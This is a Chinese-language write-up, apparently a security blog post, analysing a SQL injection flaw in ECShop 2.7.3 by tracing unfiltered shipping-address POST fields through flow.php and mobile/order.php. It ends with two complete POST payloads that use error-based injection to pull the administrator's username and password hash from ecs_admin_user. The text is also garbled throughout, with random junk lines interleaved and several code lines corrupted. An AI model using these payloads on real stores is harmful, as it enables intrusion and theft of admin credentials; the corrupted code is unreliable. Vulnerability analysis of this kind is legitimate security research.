ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：
* U+ G6 L+ ]) s( k7 x* p1 a( [
    /includes/lib_order.php
# t! f9 B& b2 V+ E- w, ]4 C+ N2 ~
    关键函数：

+ U& y' i0 z( H# ^/ _

01     function available_shipping_list($region_id_list)
  }4 h1 B) e0 O0 x& D) `6 I
$ y- D3 j) B- q. z/ u  P02 {

( [8 ~. |8 c$ ^) K. g03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .

! d6 {( P& S7 a0 O+ X( K7 A8 M04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .

2 Q- p. O; N% m( \06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

8 J" w5 ^- E- m! D6 k3 e07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
5 D3 i/ K8 r( k. l1 p. `
08             'WHERE r.region_id ' . db_create_in($region_id_list) .

! C. {/ _9 }6 K7 A! d5 }2 {09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
- `, q$ p5 B. P: W2 U, T. |
10   

- w4 U9 W3 v. o2 v; m( w11     return $GLOBALS['db']->getAll($sql);
& {5 e( {% v1 {: a- h
12 }

显然对传入的参数没有任何过滤就带入了查询语句。

- {, f3 ], s! m9 F# a' X下面我们追踪这个函数在flow.php中：
第531行：   

1 $shipping_list     = available_shipping_list($region);


) ]/ h: v7 [2 @2 o0 Z

5 K# y' T( r+ p5 x+ {; j+ Z
, |' g7 K, V' a2 A. f% ?$ z再对传入变量进行追踪：
1 R4 s- J1 c$ \- t3 c  L
第530行：   
" ]6 c0 R$ N5 ?' M2 g1 h, Q
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
) g2 ]7 g- V4 R% r" J0 y
1 j, T9 c2 a7 Y4 g3 I: E0 J# h



第473行：        
3 O, F0 I( J* X8 J
1 $consignee = get_consignee($_SESSION['user_id']);
8 P" A( b& \% X. v( N) a
. y: ?* q$ E. i9 e! s到了一个关键函数：

/includes/lib_order.php
# A8 X: P- L& V6 `6 j! k& Z8 t
4 K% ]) h) G  T" {- L1 w
8 H! P( h+ g7 a( _  w; d  E# N
7 K* V7 Y5 r1 M# Q( }( R& R
4 a8 A* n5 O" d6 L' ~7 k4 z
2 C3 x* N4 I, B0 D/ u* v2 a, ]1 M01 function get_consignee($user_id)

02 {
4 i0 `6 H4 }; b  c6 ~9 {$ K7 z5 o
' a8 f* Z) M1 p6 Q03     if (isset($_SESSION['flow_consignee']))
6 a& ~+ B3 N1 T/ A
* j! j+ |% {. ]4 j04     {

* @$ V7 I+ `0 c$ x  ?* ^05         /* 如果存在session，则直接返回session中的收货人信息 */
! l4 ~. _: E- `& B0 k. W
' p9 q: w, E( ^: N( J+ W06   
( M$ a0 R, ?5 O4 h7 y" E* J! }
0 |, n4 L# T2 {) n07         return $_SESSION['flow_consignee'];

" Q5 X* ^3 j6 E" k3 f08     }
& v4 N/ u/ Z2 a
2 G  p; \" `: h, Y. X+ W09     else
% q% H9 [. E8 L. C8 [6 _
10     {
$ N" v4 L2 L& t+ y; V, K% e; v
11         /* 如果不存在，则取得用户的默认收货人信息 */
2 W; a7 \1 _1 T+ M& ~' B
12         $arr = array();

13   

14         if ($user_id > 0)

9 o  \: i- }' D$ f" O* D  J" {15         {
2 y3 [6 F2 {. i  S9 ^
, j7 J% y) v! _( V! O16             /* 取默认地址 */
) R; ^- r- q; `. j) Z& ^
17             $sql = "SELECT ua.*".

18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
' h9 R( Z) m- `- z
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
/ y' E( @/ h& V5 L) U
1 Q1 k" }) x6 X: w& J20   

* X7 m4 ]" i, M: L1 n2 b8 X21             $arr = $GLOBALS['db']->getRow($sql);

8 ]8 K# q  I; i' {22         }
. f8 S7 t+ c* X$ u3 e; k  x
23   

/ q4 ?' X  V7 T) j) g9 T6 _+ k24         return $arr;

- u+ m+ m$ }6 j4 g3 A, y* r# G25     }

26 }
$ Q1 R  ]; b4 m; S6 J* j, D3 P
3 N. v$ v" G3 Q" Q2 G$ `显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？

0 X2 G9 t6 Z6 a7 j7 K
3 z& a3 I2 J( {7 H. a/ e, ^; |
+ z& j* l/ X% f" j7 Z关键点:
  c$ @5 o9 y  i: N/ L" c
7 P' K0 M3 F, a6 E+ c# t* N. a5 e第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

这里对传入参数反转义存入$_SESSION中。
( G% y! G# V/ H: [% y0 D2 P9 y


然后看下：
6 H$ w! _& J4 \6 C" ~" o  \
4 X# }5 E8 y6 R6 p  {" k- c
4 P. Z" a1 |! U" u: k0 _& l
   
$ A' E) v3 x; w! {7 E; }/ n/ g1 |
# M! t0 E' v5 I4 G) w01 $consignee = array(
) e! b. \+ p. A9 t) F9 a! i1 s
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),

8 T/ S6 J. `/ u6 x6 h3 T* X03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),

04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
# L5 f2 v  t# X% q2 G
! {, {! z- w* I. {. {05         'province'      => empty($_POST['province'])   ? '' _POST['province'],

$ b9 j0 T% W+ h' b06         'city'          => empty($_POST['city'])       ? '' _POST['city'],

2 l5 n6 ^6 o. T2 l+ j07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
2 @+ M, A7 j7 F4 {0 ]1 I
08         'email'         => empty($_POST['email'])      ? '' _POST['email'],

' U3 e) \' M  l9 D6 k09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
& G$ n, E3 \* i
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
' p7 @& a$ [, I, H9 r+ r
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),

12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),

13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],

14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

15     );
, o/ D0 [( \, a' \' q: D
/ [4 Q# z7 s) v* Z; l3 [! Z好了注入就这样出现了。

==================

2 W% x8 z% w+ o' g7 l$ r注入测试：

环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)

- u% s" D- f0 _  |  g测试程序：ECShop_V2.7.3_UTF8_release1106
( U. K: Z1 |, r- [2 n


; W! ]* t8 Z) c. I+ @: U( I% i1.首先需要点击一个商品加入购物车
, y- V  x  m. \" |
2 V* B& O! {7 M6 {5 T2.注册一个会员帐号

3.post提交数据


/ R4 u7 d3 \6 m! `8 [
1 http://127.0.0.1/ecshop/flow.php
  v# M1 u( K8 F+ b7 s
2   
$ v: r% @  {$ h( ], r1 r
" e: B2 e+ i& v: y( A9 |9 I3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：
$ h* t8 p% B, D
我们搜寻关键函数function available_shipping_list()
& v( }' F. G& A+ T8 x
在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

利用exp:
) K* N7 i9 \8 r+ H6 U; R
1.点击一个商品，点击购买商标

2.登录会员帐号
9 }8 p5 u: @# M+ z/ I
; Q+ p  t* `0 w/ U3.post提交：
" _. h( t* `7 v* r6 U( Y
http://127.0.0.1/ecshop/mobile/order.php


8 c: _5 Z( X+ g4 k
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=